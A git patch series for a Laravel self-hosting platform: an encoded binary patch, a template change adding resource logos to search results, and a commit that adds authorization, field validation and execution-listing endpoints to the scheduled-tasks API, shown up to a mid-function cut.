zbVB%#X%935Kx5)K%x-rRtz(P;f9W22<%*~lV9$5m>Iooi1Q@}Yr<8zG6KIelTtUnG zF#&oAF;)QQ_8dYI#$gzJkwyaB88fiz8rsim+fldxjDTK4NFCALyAQ%cC`SWi6wT91uOIaq0uum(d1Ud0Cm!4U%^%q)cYnwUW+?-qJkEU-$1IfP4N|%qd25%( z={CB^nnB6ZdR;jtm`ZVtq#n@}_~C};vSKKfNH;-4ugD6+D4``}t%J?Id2ByDar_3% z%O;3yIxsYc8(;m7?%A`ssTK3q0e9{N{JC#1P=`hh{^^-^ z8_~bnB>S_C0W2Ggx?!0ALl233Z&| z44>m(X#U|g;ft!b-97CgJ$A{6VVjJMXk0VQ69Fy=cIZUmOmelXj)OS2iU7(G%=v+5Y_34K|PjtRbpcbDJ&)^FYWSAXnF_rLFt z@6V@yk=2|O^Ij&*-|%uJh-i%d>&p z$2L7@DcLYv{W&>Kb6&4=l+P5}0ovFs^}0*iJLaWf`Sx4PmcwY}WLubN0Im_;tN$&{ zUQ}=0+h6~gfAZFM{J>v-^|^l=#GevB=4?4=x4f@5uT1RzAz+{3n|bwf~mOpo%0a6Jf5@#XP-_%D9HyL zq{ob(4PEz(@CNE|93}qc9I%o1X(Bka0cO@5;UD%<21!4|N^S=r(>A?%u65L4su`)d zy_Q>d4>o@0AHDmXKl8?WkKCNhTg@FCiluPa)dX$}i{|amZF&453@zVj0@9gC=r&~Z zyrJnGAY7eC`Bp3Dg2au-xq6cDGqWdcdzAjW%jb#!$dZm3DwY%2=l5+NC07D2PPgnZSnH4R~y>E5P8hypPG{xQ$iFoEb zLqlO0&V+xJ0g>SM2<9oKa-cX$)$=v_Y^oxWT{QnBXh)Os>-A+-wJLE^4Jb$XOxOs- z2rdbH<+)sDr!^fa(N~?*C9TUjm3!1cF!8LSW;#wxLJX3srfo&%%UZs&d${q}{@XX7 z{+Tb{I(L&=WHsVG858JI{-oM1y?hwi%euXNZZ)Xq>{-pRwQf@X85nyTfdBdpg?w(? zHMWw$7li-vWs!GZ*Q}n*?Ui94X!L+}zc;0N_-xAVsqcCmKbyZN4B+=^9|#7JBZOBa ze{y~Xin&qP(!erh1S$jl$@crQNfsz7^Q%b{fN}V)8HAZh6w7C?X%sP2O0&!)QcB;x z(HwHs_$Z2=s+FbN-NB$~afGl8Y0lgJUoLyGA-8i{*9rX8RN&DzTL-v7R8 z23aFmwG(u$0fyrSHD&F9n!$H(|2Kd1-1=L8VtsM&Daxsy`=?0C_g`G9&xCkNTH=G*x2xXwe zVMc7-XiOV`$Wc7s?tzA9PsuZn#43JuVI~u)aehr|uLpM}YNuYGHK?Hx``NI5sd4<_ zy!f@Z?_T&1{{9=!{Mxi1aO0s#`-o#fItLK<1N&P@;Qr_X#2;`ET|6Q6qvR?pc%47r zzM)&k2YBK99^_>PUrPOO@q~8HAg`X^=c+=wJ-g>s-41up&#q+nTtx)zy`2#MKS29H zFaS0hgiDEHGP%7-%C!^QuI@DYaYa0hG#1~u8k&Ht7Mg#(O~NOooO`rK1^4P=T@!dn z%Ju8&D%zRAnFa~HZjcaQpp~NYhelYLT6*0i|NOTu$w=IYKQsbr24y`ohFKvd$;RZY z5ipfRX9C%SXyyGfvY7jQdt(sL4&Xub$krF0d~)MAe|T*HcxZXanE|DE32ED711_M4@);KoYa4;@7uewA*+0 zH-F}zUVG+ezVhz5TafIx8__*51^{T1?wvJ7_3q-=YW8MBZ_eqnn__2(_20GNF68vt zyrGi+g>{+nP2F0Lq;7-cZx7J}I7$8Uwg_Nt4LIO%xOM?PeiHS;;+v zlX|Sc`L=wcP4FhspKIIhozbH6C^d->1MvcKuSr|mY8%*_RRidGg^c*4FL(+;8(4*f zvdburTeEZ$T>~(Nf$ghx2l}rBY{cg7qX{nR>nnByb9$+CC;jBvzx#vRi|c=MV{P}3 zhO}RtkUF+6krDz$;EnXUnZzXH$@-6yTGIsP#8FJl4>*SuD8&Z2DiF2;_3%l|V~$lN?2}{s{r%19h7tn^ z0$9g<|Dx3KU|##Rw{Jc4AO6Z~|J<)4jrkz)Hz^<6*6D~)0`JFP5A533h+gbJXOPeB z`-=59Jc>L4MG}eD>TpjU<8+*)8uhzvwPGJ`)rLYt=>Be|_{0~_e0*#^A0jC4uewSZ30S#A<` z2Qdaq?ed_G`yMLl-14^au**YKE79#U$Ks7qS%ofm>mBD2=J|?2wchzKdvxL;Hu9hML-k+eMUQ&@- zg@_w@6^4TAm&kzY`#-#PH9J92LaZMiEW9Dr?0;Vzx9?tXkn}g-idWWK3KkeNxgjF zXmLHcc;eSFf5NgatMvbh<@RB8?`KK)?R(D&-tZgW{|Vv$TH6Pb0iYe9IW!8*XQQ#F zk#39u38Of{+T>I0qD{c-7>j3n0;|HP;R{V0xckLm0&W+mT57VLomIMGN;QUyu3&fP)azu+0FneKq{{WOJe( zMt%D+?|*AekHJ2=mFDA~Xb{n3+h6$p?X{afv?zzqkl=z-}QqHfd|MWcIj{a)nd z>cZ7&nVHL%;BfAgwmkC0K2_-8>s_b+}7e)gA(&+Hv+G@}2pPV})IgnzS5 zDkK^t#Ip+bK+ss2_s%xot;MkPKrUqOgkSzCmHOf3#zby7mR>)AdG1^3Mi6}9{Ri(f zo4~~;1eviHx%|C+WBX-V7M5`2Q_|z-70c((0IzJzL-Sf81BpLL>-_b!5B$(&CXgiq z8rgC|ncj937Q$lBA#_z4K(8fWOyG{eL1Y52y(V(;si-i9eP9UR^{|w$m~Fu83s564 zSP1*pmQi7hF$4D`7{!K3{k`5m9qj>VStH2lBFF?t?DuVZ&oPv=14{6#X(qZ&z>Zn< zBFeRkLF}_Ts%r+xo9NQktCt?#{^E0|)^C0P#@ha;8cjJHgt<5&mPE*N)bHxD+lz

8iS+_EQl6R;Jqr4c@tbu=SaL{Kj|x7uW7Qd<&R9UTROuwr}sG-3pAlApD)! zOA0tl7=J(3qK6tB*o`u&YmGSXn$+L>u-yH?`kSWP&;O1_xPSM(!1_5xS@OsF zna$XD!IHXNZOa$0Hi7Jldio4rK0A8s3pG6bM!5Gx+W&gnhlqDFUr_#djREY4W(aJP z=S6#F))YWvyudS8r5lFH3}_d)ogkste?`572nj*eWeSPaA~Q|e7uFfLk32$m6b|xq z5(Wz`Etwn)!n768Ua*#qg%r2k8>RgDeQX4tXJ}m^Adb>%vHG4*NEG(zV~46`2a$S$ zuBI$l1E$dJ1{Pz`nZt@P8OJ{J=&yb1+~zyaZLZz_)S~QvYBcZ$5g&d3gGl3;DR~OX zP|)7eOQfn|;x-1mk=!Tc|HNp#5~NA|Scd&!PDJ0yaU%RP*KK||fiETE0Q|SOWwOXI zL0O&Z7s)XKHQ`T<;Qyn&!>!NUxOe(9fB&^V{27OI8nNFHBm4>K5tIJm$(h^YZj}64!x!E@I|=Vcqs#YdNyifg@b$M35d%013FYSSP|?EB?j>YnaP5ke zXRb;C7Rl7o*ONx@eNU+-aDiDxA8)^Js%-!X<<2y1;GF~ubwe?UI9x@uHqi8HMi3tx zMGRx|wi0w_2F4tEA9XA}2}vI?5eNfg38*PRz%MmYeq;@R8UdgK!b$lU#traz??VC( zat(nwiO^PDP0wz;efH9sFMjg;+Pk0H+_?AL+O+)SRGNm63c;X7j6pR9KwL+StbmkU z@VD(HX$mX~0|dgi+rhyUbUPUUAtYx8wfOcdYX%vYknHWaxn@!{$*PaPR5>c?Cx)ST z{&f5BVEWwNa`Q9q-9G!7FW&x+&%JT|;ahgEozUZb5$5TJUE9uMARxeppBVqbv;fEX zL98)%cQv6~PG`buU44EfsefJV1pOMz+qyqj?!x-*B>C@eG}x$pBiYl(bNalj-&XeV zA0VI9AoXXz{%BDz+fn6hn*dt?*{-F=?1f6)ZkM%AsDkC^8Ua4$7jajxEWVce}Fmmr938s)Ek*PK0 z|X@5hd_&(+!?)yO$cTrDbQ`0jqjPO?@_*jQ+Y0V74`+augf6&rpMU#(! z&l8FN8{Iy%d^87*x!Ne=dD34jss+5zR$qdbP?JD1ECl<&8&_pW9l^da!7pEKllfK6 zBLr>W{_AbhKPu(gSJg{s&kVv|aR;ofQ9G@3qb=ow0F{_{rh3qWi)Yyhw!_N z@{@LNU>5B-q5Eh*W+Mpys)Uc$VIrsr?En<5?@ZtrO&}YDxo=<)X)dt_vewQT=h$kD zLT*n#`cIxYy?N`>>Frz3tuOYTSuEtt+H~+tC%;qefYp>diTF}oiy%zYwKy6(WyDI}1H}`mz!DDIEvqzHUKWkp3CW1;T&ETs_^uD`OHvM)I!Rm7co!*gQUE zbnisfu7l6D>pdP3z4YzJF(CXX-U5LMtwTP^#j{KP*!KL2p?9Z$i<;}bgzYZd^W+5b z`G&U-u_6V+9}FN%6WH5vMPmZF;Cx?Tfr00h5xjCuCP*>YU)KH51n_%16`7%dn69E| znGvkdnoa^X0j%e^0Wbi#i{7NiP=kj66FD@r)tN{ade>JNKu#F98YI?p4Q*2W(j0v-A|l*cb5o zJ&*m9@7dbiKYM2V`X|>n_Ajk34lhkpJ-3*aPqe=$NADpK67;@A$Y(04*nBXBIA$d3 zet-!K$^fV#n2o6u`00&W7q^#(jnL1FH}(!U-rPOdc;l-#9{b$yzWs@>7;o*3##j=3 zwnH=Gb|zpDPdDHumR#d+gfk*Xt8%@bA9g;JbxC8-6s_;nq+Np_=LHeS{Qj%WT#Gj zxiqe_oTuB3sNd!kd4Xt4nq9Re|ML~p_5Rb$-Ukib9yfaDDph^Z1Qq*ae)kDWg{p2ss=En7VoY zy>{LylkO$5ccL%k>F;n4p6PCTJ?E70!^rz)!}%Y=m^ba<;r6@TB>p?->oFal!|O)$ zS0JCaUz2*q+%{L!IOBW4Z%*mp1HL2S=6MY6pW6xX|K_!ikWv-405p%`v2CmMhVg^+ z5ikk-hq=nwbBPH^Xa(;=8+b~Y0E5R?;|88MFB5X4+&A1oR*= zf}UTfX#}V4c4AXtAHc`Ikq9`L!Fu)@k})G>%>uW}Y=urgi07UQv4$oYh}mi>VrV zY)G-7t}T`5>BEo6-TtTs?Lgw+G()ae=fZs!i{=$|={!#2#~)ogv9H5DjrgNT5`(%P zU6*+k>!*>I?wu&UbVU^Bhvs}S1$O1qjsA`8M8y8lGL9!i|69>MQVd{Nt8&zpOzn0$ zA*H*E_UK{k>aJ>*mKN%4W(M6h@N7Ur>@H^)g z6h5MD07QSksqxu;v>Su<{0Y(^{Jhr_G_=Q>#gN1sG3h~O5=44EX$gJ1tpkh3c_3O{ z>fbP?u^z6YB*06P%9l#uhBOr*v}-1LgQ91ejcXB#;x=jytLZ3K&?09Hl-LJmVN(BI z>cjiqXzO+py!NW(?huYB;U@Jb695B9x1yRrf^_!np9~B2psoFI)8yuyvZ0q>+&?Pq zg8{&=AMc7#54Pph4fO8mbE{|&mm7FjQaJS6DPicvdQRSkbr^Zy6s?>G4v$z4m+r#Wj=0*EuU@eZUhX-CdOmY}6lYUeJNa0Xm@eCg{+vovFr>kSZp(bB@$o_J z?jPd?{W$TFp0bjZSUy~|Wvt(q`TnjfQH6=QT6*N?q$zthPBr5me7r>sfk@^Be3+6W zq)8AMuA}%z$BS9AQX)r8mptvbg(VWBn<3x}{O;b>WAN9+)|rqC`m6`B4+Iwk6HEg{ zZfVz0D@w14iyb^7)LEuqQ2NMzUSdUJYa{N5M6 zH!SzysttVx{NldRC)V+Ia1Vlhl;iY!O>oaT&TZq?$6sNvin5BcM%~W&yhG9c*RA|w zzo&g2KfHIm$JzQRd$L4|W<>8cOYm~7#IxMr)Agm5X9V$w)Q@?C`GhE5O8qF-f_aCz z)ytq-nMM--87ViJMjgA@b^5<{2~+F zqfFq0_rSH;<}E>%Tah|PLLGVA$_}7lEE|Z zR>Cjfo8u55N!QEQU6u0tnA$ziWtCdSlnk)P_1|F~Q7vQB9zJ{SP=nz3<#fzAc9CoX z_|1O)8RqHhX4Ku@)(Bp@a`tkJO|pka&-rHHUAw2QonD|N<>~KZl78P$>PO27+~jh@ z`7N3ksZky=$v-D@1N3t-Mf0LPDb+PyY}o)QQZ#EW6~r zZ~Gx-ZfUU)O2hM(NvkFyLrR5Y+Y^ofs<LPe?PCtK zhni1Wnr3W2oOHiS{5L}C$GpRwLjt$0G$(=edk&x18Y6jKlei&|52XJ$OzP*H?|)Zq zu3HSvOZMILwqySN@a=z5WAbu-F8vNq487m3_7T(o#&&#KX>k{Dv>lP5-f*ukfJw}t zv8D+C5^Dd;8@DyF9KH+BFe=B}2QEA=<;@1NevcKNp+<1iTt-*z1Ndbe0V0TDA2>uB ziuOCi547J~cT9rbR<9x23J_BOtpG;jT*Da0E)xz!uWqL_f874H6w@#ziJSME@p^hZbwl@ty2^q{@cw%z zCdJRTjn8nnqAhTp7(SK{RwRFV@c_3+z}D{l*tajC1rX{xCFaU`+U_N#Zh%1Wa61n3 z0R>v%-2?cr7iYPt$1{BcmYK4d$=iVQvp%m6-er~i&t$B>5r2C3T>pg3jGVui>=~<( zy_EjBf7Q$9#NhkwZ684mU~DRRl$?=Qm_N)X>P{Trs}hN6123u21Ebef(+Z#kfcSUY zK>J`Wyb?yUvnfByohDf$Y1Y#pZ_?U(GE*bKK1gQxSRtuFV!N9#TU1_x+a4r4;JVul zhhJ}+0i-{K@b8&qxMk8`5BUcnJJkum46OiC<&vfTPN}T`e;f8kX%xikzG2dbTjK7C zhlXdbC#-(Wux!^H_y=RDokyF)Y}x`ek!GP?mZn7<9)xtgZs)BhyF|8841Xo;7OVTv z#~LMiiTpUbC8Y0#N%~!)xBKh&wr|g7+b7eM4h^4Qvp(8fSyJ+^CjHaivfrK!HFmKt zk8R^VON{rLN%de3UDCH-yeEzy2tMBB{uw3yc)vIAsl*RgPP}u>gI`9L^Vo6J@`9sSU;hjM>ZmDGw0~#Yclt=&9A6^>yifBgHSI z$Xiv@O>8779U8#>`w?{3J%3CqVEPGeUyTSxgO<=3N|%buS()Is4m=zgOf#O}8+L3) z8O&{iX}a{kryeknx(CVI8amY$ z@bS*C-?9AsB_w^g7w5b^Xt^|F-*BmEsFt-8Ne=(;(*a$cS@G~e+GdA&uBfrM?!Epob7&!(B-?6An^QU zo}S&iO(H+5?!f(Blt|go-8s)&4c?n$A$IHs(f@c`f7{Mo&E0eNQWFl|Jesu=jtsPA z(Y4d__*m7hXLkbX8Gj4V1C!7@0uNabk6d zhYX|7NdX@KKfp(ZoIXbSiRGw8X8b~V<3F$N&K+l{#0xo^jB>2|bL+W~`^5QET(qJ%A> zGl$J!C}<@5Y)Ei-kR*7Q!mT;8FeyHt%hnmv=F$1x@&3(TzR;z5KPM68?57W+j#!Gk ze{~s#Ta3vXaeedL@eG{(!E}9Xh2VEAAFjQP*dLy5eH3-y?3lhCgWp@XVtqAN57uGW zee{ubyD5n4xB@L$CeiN_f6CgK$K&&sz%3VS!FIqsNSsIwAmjX*_-7yg6R79GY$puh z_iaonCr9fIn5_URZ^k-bNd{uJ<5EpCokUMA^nQV4)~FRYBWOer#ysR1@_@4QZQl)n z?N9ay5jCv4uVf1KBVG`6lCKyq%9>zWbjJyQ|ZCApgJjaf1?yt8T7=#qNdzA$FM^TdLx$drU9 z?L|t44h8K+VRZ5YmQKvivr6<`x=)h->T$5MoHK%dkK@uX`_sHm)&^3*7NmQ;J1(DZ zl0Hf>(y$A{4=4~=KaIOvmahjs{Fki%PV}2_ardb)M?ab;ZX@A;S!?rN6`iN}?HK>H zApXeZ^Zc`2;@6!0%&OZXdFjrXnE>o-CoY~3YWv6=fq(xt68|B~WVNVarg=x(QS}(~ zA2xyhi~Q$iFhigW0%sUJbM2zcUEOX>00A~{TM0dUsQ6%?`j~c$4|(_PW`tZ<7d`~- zY?5fvV0=qm{x%bjKYU7EW(Wx=QLyDLub{Xoc~(?b9X1*RhPr9GvR*N zT@fwttQ(Yf!(9}8&r{7!7C}~gPCf_S zXnQ~Q+}$r<^xU&%Xmg$L(hZYxTOkaNC4Yf1!q57<6;_MR@bT_>W>N zJ!tTj8g}{K;V?ks?rqD^dCBGrGIe78@)b+ra5-i*=2~`AfVAI<{}tVjc?$0yI6d^} z_Z|JizNYm8_UTi8N3w^{Se}(c|AhEIxa~v(_!?T^nxiJrnZSt3)!?DlPQ!lCEXLhv zT#woeTq`&m_rcWEJ;q=ef&sJx1R7aH+76J$ zfK|_SllB07e0y7l1{kLqZhPJ%LQC9-M0mS$OoKFT=d2z?xQ5!w0Nsd6?0~xZGV(2L z>2--wiw;*yg{y_))d=Bju!aZfw_N-%+^?HE8r zZY;L4l;ITcJDOe2tvCp6QGDKt6a8sSM32f z)(ywazK2o6AYn8*IGY4%2q}K4tQ&^I~r@zK^BacCLUMzVjvq3ip=Y1g94+|pQJez= z0e>GicnE(zp5USy2k)l10uUDb0w%&AV1~PIHCkq=1197fx}!ek_uBHhMIHk(B6NYA zMCYG~Ts4F>0DEjLMn86kkM1jk0&0uM)&|im=`Oi67^(ZgBbs)$j73^T*XWZ1?H}}Z^6I`}O=}P{h%A?&RIGHYPdrp2lVAv5F#Gu^Msub8y^-Ld zoNNxz5Pu(eO3KYWtxnb?$gbVpKUlF9;2K}G^+d3{CsD(huV2^o)8hbbX~1J?{}}kEpJ%X)_e(;4 zx97btImjxXM`pn7t3+OG841_Up3`j^$7er)*&x|_$A<5~fDaoDF@3;uo0;ghcBA3> zm!32SfHtO&m{AuH;HpOtleDo~9h?iUTon!6x;T3Bh$ZRo)wvqMN5t-q*{pU`p z`;qsns&|6-f3VvL1Na6vy1cErjAjYSlVRs*bT;D0;w1cK4ut;8BB%-^&T1l z2*A4xF3awtuo94-$B49a)NJ8;r9Sc;)MepoKf@ z3WFe)k07k>p4rA`yJ7g*Rr6FEGhq7|!XBh`W6a0%XezMY8-Cw5d_NgpL=3=IWL4cA^lw#=M}e5H;Nsg8yM^Ck)^l+(yFBxZ$)V zui2+mkzQiQ0?A&|ARBClghrUi6V6?g&Im49(m6L6+i^X@xM9HZ+o}-&B7(#ScT&Ja zXdwI#rAXtqB_fWmSwF{V2VedjsUN$bDXTBoz8sB=^c46-`~jK3Is2zGhekAeEP@@+ zV@Pka2C68>SuNt3jnev|9e>9B>*bi%rFbLmw{O|KoKpf14TpA- zZCi#!kLN=J|AW+?6eaiC!7_-w2kbQrpPoDYne6%C!E@`Mw&f>v`}OqPB>I;xHzxnO zRBC$k=%G^&vvb0RgcuV~&y4oc_`G!Gd_fe7Tus)t+D1d~2?O}BwG$)oH@Gp)bfmfE z_Wp0p1u%A)Bx^_dhxqAVP!*pa>1QpD01XM}`bT|5*WY|u4aUHDK>!%c(+hTd$v)_7 zGDBKK;<>|Xn(zyZ;Au<$i`2ij%y|5EBSbJdf-qftOfhKw^*DoDGGBT$QdRc^W03Z5 zSTUQTMobzqPe0tQH)(P*5YE$gv<7WYT82V5x3%casT6;3Xa#T@fWKtQ0~%5Jd&-jD zZQF0(em{Ka*QdbWw|U%sJud&{YjfMf=QUme_qt)*PMgsjhVpwwrF|skJCp7kM%?L! zEb)8RQZ0A4tJcn&F&<<3>NOqT3+wuxVa$aA|MXLqe}4*NZpQcDwJ34q=z*q(cMggF z>P2-H0Ks>u|2dQRU()!Kmv$mqTaMfX@rT5}W1c-RNAq0PIm?8JC&d55*G?F~H@U4= zJjzU-I%Rc%qTW}8u1+)S% zgfq#52#nzTnt2edsRv2NnBS8b1POoFZpsow3V&P4s|Z!h_LFx}&pTsGp)-U>5>vQ2 zRy(_IM09Dyb!ipP`ue09EFXO+2=uM5$dU}9*F*t%35NE#t&HQVw?{(mOyW-D!M}4? z83@nGf9uA8?ps#Xo>}!yx)uE< zjo`zD^YW9Hf%A zLo4jnxY~BCGgl9`JYe!^GCxYMvn`oqKUL zhG0kkR?|!{#e^585sN2i?a61Q^lXmLhRvWi#upf-@c1!x3gATqiS+&K2f&R0U))Qn zDWqZAUhlX;Mo3Bq2;|{(>G$5#--jR8xCCzBUora9BT4=M4d;SL?>7jF9yZ<(O?Bh= z^O!jkZ8Kr~d*%_vbwW8k*G^jpF~4~6m<}J)eO%3%H-YEBo(^5b^y#-x#*M}t{9x`N z_{hUQBxe)PHrt&Bx{P4PU9_H|Q_LON7{RJ9KbsPMIxrBrJdyZ6?CpdBe4AP>MB~Zj ztmO}sQI~pPB%H%)HyYEs!!(2*Ty|9>jPvynWef?jyOTaU-U~C6qP<@(A~r@L!z~dE z0ZbqVp>?|WSa=$tWqU$TW!)IVJGOp=L8N6yzmhq?kP0uQPV6lSoJ=eA|%0lU9w&$YF3EWC9dYD|;)^)W`o^1)0`Z?x@iMu1iylQqTk&tyZc z!FWA+tmWl_mPhx^_P-i+`M#~ucmI{=EhV|6ROLI$09J#yR$Iik$VvMMwUgKVZExW= z>RamZ#$qXBIXy4{&;hSkY)s(V70o^LtZ4`Be|g4?gU>YWplb#uSvo^_C1MQNKM2%6 zcTr(N5U?RRooNXqc-)TaQV%W1c|}7r{yF=s#wE}g%6bQooav^D<-N8{ZzQHSW&`s; zQoQUpPYL~OJ04u5FY}nDnY{C^dfiY%k(4#_tZ6S>jVNDBF%!(FnXkgzIXIEt^(;E#6I{^>zmqCWdCnMV&ge-Zn4WY8FQ>QP#M zv>xvX@&72dlUM$Lw2;tPv_3qD+#L^g0`twL0okD;XaknJrMr=e8UbH1ZxBF5gb?6C z^rqz>;`LWuOVNJSm;s3vy^3<9PkJwUZ`(3MV9W3ki0J(lCcy$Y&>mz(d$^sX_e`AW zRr6gBOS$u2lGG&_4BT9AzZcckm^UdCcWk?D(bPz*0mCd(w$d|)tuwnu^sgJihd~{T z5neiZT(FKt<1M_hUj6MP?HjXwBc)%4l#gFX{H(lnMbzFi+ywpi8MtNd9PI@fd22w6 z`P2+Eo}_3#X=o=5-~nn!V+WW@H-gHror&jGnE>1O8Ut__QpOgDGKIeJs%Tt+*$ZG; z9AKj+k#0UM6O727L(FUkSYFLfB$wO5Ya>IzKG+aW8=>WLw<}!gF0A#!lbYt5=?$31 zxHE{yO?xnV1EHql+Hw24i={zTIhq#h#OLpu)^Q_Y_gj`i`2vdd7?CG~%h)|7dj{ii zc^I>FKkloa8nSRA&Z7rwz0{eo=H53?9!U5wbvleuMl`XbM^GC zCtv@y`;y&Wkbj>#Mt~gff9Df2 zx5e&t(y090e;WaV&w0-uFY14e<&T}088HVS{vFRYA_@0J7&%`Pm6GXx%H=z+TM_ch zjo3Y{2GZ>R4j0wF+=&16#!zm)Z9ei-_{)FsJ(-_2|9NhE(9&FC4asb^W^CaVMm;Czo1?`wfpWT;!lVtYls?xk~4Ci5dV|*{_R8q_<*$4s!GrZ zScU1u7gam(y2T=1!&nk@bXtBsmQcCBQ8_~rWQ_0ZljLVm|!uI!=XjS1E) z?E?Mr-9rfxf6;ro|UN5&jrV18qT5ukPF zBeN@X|Mz1&kup&xzd-x~YVKxx1R2Ff;6l?_nhWX%FL;I;fTUny->;(#pjudoADGh)Mf)ZpEbj0ok7|{CM?DJkdP8wM437GKs$Vil#QmWi#cN_Qopa&h1x6X7VJZ{43*e zSN)&ZcQF%owC7izArW@kO>%;@{*%Uu%bsT0r2SR@{4vw!_

-
- - - -
+ @if (! empty($item['logo'])) +
+ {{ $item['name'] }} +
+ @else +
+ + + +
+ @endif
@@ -808,15 +814,22 @@ class="shrink-0 h-5 w-5 text-neutral-300 dark:text-neutral-600 self-center" class="search-result-item w-full text-left block px-4 py-3 hover:bg-warning-50 dark:hover:bg-warning-900/20 transition-colors focus:outline-none focus:bg-warning-100 dark:focus:bg-warning-900/30 border-transparent hover:border-warning-500 focus:border-warning-500">
-
- - - -
+ +
Date: Wed, 18 Feb 2026 11:53:58 +0100 Subject: [PATCH 060/305] fix(api): improve scheduled tasks API with auth, validation, and execution endpoints - Add authorization checks ($this->authorize) for all read/write operations - Use customApiValidator() instead of Validator::make() to match codebase patterns - Add extra field rejection to prevent mass assignment - Use Application::ownedByCurrentTeamAPI() for consistent query patterns - Remove non-existent standalone_postgresql_id from hidden fields - Add execution listing endpoints for both applications and services - Add ScheduledTaskExecution OpenAPI schema - Use $request->only() instead of $request->all() for safe updates - Add ScheduledTaskFactory and feature tests Co-Authored-By: Claude Opus 4.6 --- .../Api/ScheduledTasksController.php | 444 +++-- app/Models/ScheduledTask.php | 5 + app/Models/ScheduledTaskExecution.php | 16 + database/factories/ScheduledTaskFactory.php | 20 + openapi.json | 1429 +++++++++-------- openapi.yaml | 992 +++++++----- routes/api.php | 4 +- tests/Feature/ScheduledTaskApiTest.php | 365 +++++ 8 files changed, 2078 insertions(+), 1197 deletions(-) create mode 100644 database/factories/ScheduledTaskFactory.php create mode 100644 tests/Feature/ScheduledTaskApiTest.php diff --git a/app/Http/Controllers/Api/ScheduledTasksController.php b/app/Http/Controllers/Api/ScheduledTasksController.php index 13fe21a4a..cf3574f1c 100644 --- a/app/Http/Controllers/Api/ScheduledTasksController.php +++ b/app/Http/Controllers/Api/ScheduledTasksController.php @@ -7,7 +7,6 @@ use App\Models\ScheduledTask; use App\Models\Service; use Illuminate\Http\Request; -use Illuminate\Support\Facades\Validator; use OpenApi\Attributes as OA; class ScheduledTasksController extends Controller @@ -19,25 +18,44 @@ private function removeSensitiveData($task) 'team_id', 'application_id', 'service_id', - 'standalone_postgresql_id', ]); return serializeApiResponse($task); } - public function create_scheduled_task(Request $request, Application|Service $resource) + private function resolveApplication(Request $request, int $teamId): ?Application { - $teamId = getTeamIdFromToken(); - if (is_null($teamId)) { - return invalidTokenResponse(); - } + return Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + } + + private function resolveService(Request $request, int $teamId): ?Service + { + return Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + } + + private function listTasks(Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('view', $resource); + + $tasks = $resource->scheduled_tasks->map(function ($task) { + return $this->removeSensitiveData($task); + }); + + return response()->json($tasks); + } + + private function createTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('update', $resource); $return = validateIncomingRequest($request); if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $validator = Validator::make($request->all(), [ + $allowedFields = ['name', 'command', 'frequency', 'container', 'timeout', 'enabled']; + + $validator = customApiValidator($request->all(), [ 'name' => 'required|string|max:255', 'command' => 'required|string', 'frequency' => 'required|string', @@ -46,10 +64,18 @@ public function create_scheduled_task(Request $request, Application|Service $res 'enabled' => 'boolean', ]); - if ($validator->fails()) { + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + return response()->json([ 'message' => 'Validation failed.', - 'errors' => $validator->errors(), + 'errors' => $errors, ], 422); } @@ -60,9 +86,15 @@ public function create_scheduled_task(Request $request, Application|Service $res ], 422); } - $task = new ScheduledTask(); - $data = $request->all(); - $task->fill($data); + $teamId = getTeamIdFromToken(); + + $task = new ScheduledTask; + $task->name = $request->name; + $task->command = $request->command; + $task->frequency = $request->frequency; + $task->container = $request->container; + $task->timeout = $request->timeout ?? 300; + $task->enabled = $request->enabled ?? true; $task->team_id = $teamId; if ($resource instanceof Application) { @@ -76,19 +108,18 @@ public function create_scheduled_task(Request $request, Application|Service $res return response()->json($this->removeSensitiveData($task), 201); } - public function update_scheduled_task(Request $request, Application|Service $resource) + private function updateTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse { - $teamId = getTeamIdFromToken(); - if (is_null($teamId)) { - return invalidTokenResponse(); - } + $this->authorize('update', $resource); $return = validateIncomingRequest($request); if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $validator = Validator::make($request->all(), [ + $allowedFields = ['name', 'command', 'frequency', 'container', 'timeout', 'enabled']; + + $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', 'command' => 'string', 'frequency' => 'string', @@ -97,10 +128,18 @@ public function update_scheduled_task(Request $request, Application|Service $res 'enabled' => 'boolean', ]); - if ($validator->fails()) { + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + return response()->json([ 'message' => 'Validation failed.', - 'errors' => $validator->errors(), + 'errors' => $errors, ], 422); } @@ -116,14 +155,45 @@ public function update_scheduled_task(Request $request, Application|Service $res return response()->json(['message' => 'Scheduled task not found.'], 404); } - $data = $request->all(); - $task->update($data); + $task->update($request->only($allowedFields)); return response()->json($this->removeSensitiveData($task), 200); } + private function deleteTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('update', $resource); + + $task = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); + if (! $task) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + $task->delete(); + + return response()->json(['message' => 'Scheduled task deleted.']); + } + + private function getExecutions(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('view', $resource); + + $task = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); + if (! $task) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + $executions = $task->executions()->get()->map(function ($execution) { + $execution->makeHidden(['id', 'scheduled_task_id']); + + return serializeApiResponse($execution); + }); + + return response()->json($executions); + } + #[OA\Get( - summary: 'List Task', + summary: 'List Tasks', description: 'List all scheduled tasks for an application.', path: '/applications/{uuid}/scheduled-tasks', operationId: 'list-scheduled-tasks-by-application-uuid', @@ -166,23 +236,19 @@ public function update_scheduled_task(Request $request, Application|Service $res ), ] )] - public function scheduled_tasks_by_application_uuid(Request $request) + public function scheduled_tasks_by_application_uuid(Request $request): \Illuminate\Http\JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return 